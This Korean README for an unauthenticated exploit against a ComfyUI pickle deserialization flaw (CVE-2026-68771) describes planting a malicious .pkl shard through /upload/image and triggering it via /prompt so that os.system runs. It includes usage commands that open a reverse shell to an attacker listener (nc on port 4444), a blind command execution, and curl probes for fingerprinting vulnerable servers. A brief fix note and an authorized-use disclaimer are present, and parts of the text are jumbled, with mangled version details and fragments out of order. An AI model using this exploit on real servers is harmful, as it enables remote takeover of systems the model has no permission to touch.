
ComfyUI의 pickle 역직렬화 RCE 취약점인 CVE-2026-68771에 대한 비인증 익스플로잇입니다. /upload/image를 통해 조작된 shard를 주입하고 /prompt로 트리거하여 명령을 실행하거나 리버스 셸을 엽니다.
ComfyUI에서 LoadTrainingDataset 노드를 통한 인증되지 않은 원격 코드 실행.
LoadTrainingDataset.execute()는 torch.load(f)를 사용하여 서버의 출력 디렉터리에서 데이터셋 샤드를 로드하며 weights_only=True가 없습니다. PyTorch < 2.6(weights_only가 기본적으로 False인 경우)에서는 조작된 shard_*.pkl이 로드 시 pickle __reduce__를 실행합니다(CWE-502). ComfyUI는 인증 없이 제공되며, /upload/image 라우트(type=output 사용)는 확장자 검사 없이 원시 업로드 바이트를 저장하므로 .pkl 파일을 심은 다음 두 개의 인증되지 않은 요청으로 트리거할 수 있습니다.
< 2.6의 ComfyUI 0.23.08188 (인증 없음)Python 3 표준 라이브러리만 필요 — 의존성 없음.
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:8188/ --shell 10.10.14.5:4444
# blind single command
python3 exploit.py http://10.10.10.10:8188/ -c 'id > /tmp/pwned'
명령은 서버에서 실행됩니다. 출력이 반환되지 않으므로 결과를 확인하려면 --shell을 사용하여 리버스 셸을 얻거나(읽기 가능한 경로에 쓰는 방식으로) 관찰하세요.
두 개의 인증되지 않은 요청:
심기 — POST /upload/image에 type=output, subfolder=training_dataset, 파일명 shard_0000.pkl을 지정합니다. /upload/image 라우트는 원시 바이트를 저장하므로(해당 경로에서는 이미지 처리가 없음) pickle은 output/training_dataset/shard_0000.pkl에 그대로 저장됩니다. pickle의 __reduce__는 (os.system, (cmd,))를 반환합니다.
트리거 — POST /prompt에 워크플로를 전송합니다: folder_name=training_dataset인 LoadTrainingDataset 노드를 SaveLatent 출력 노드에 연결합니다. 출력 노드는 ComfyUI가 LoadTrainingDataset을 실행하도록 강제하며, 해당 노드는 을 glob한 후 다음을 호출합니다:
curl -s http://10.10.10.10:8188/system_stats | python3 -c "import sys,json;print(json.load(sys.stdin)['system']['comfyui_version'])"
# 0.23.0
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:8188/object_info/LoadTrainingDataset
# 200 -> vulnerable node present
torch.load(f, weights_only=True)로 로드합니다.weights_only가 기본적으로 True가 되어 제한된 unpickler가 os.system을 거부합니다.승인된 보안 테스트 및 교육 목적으로만 사용하세요. 소유했거나 테스트에 대한 명시적 허가를 받은 시스템에만 사용하십시오.
shard_*.pklwith open(shard_path, "rb") as f:
shard_data = torch.load(f) # no weights_only=True -> runs the pickle on torch < 2.6
pickle의 __reduce__는 역직렬화 중에 os.system(cmd)를 실행합니다.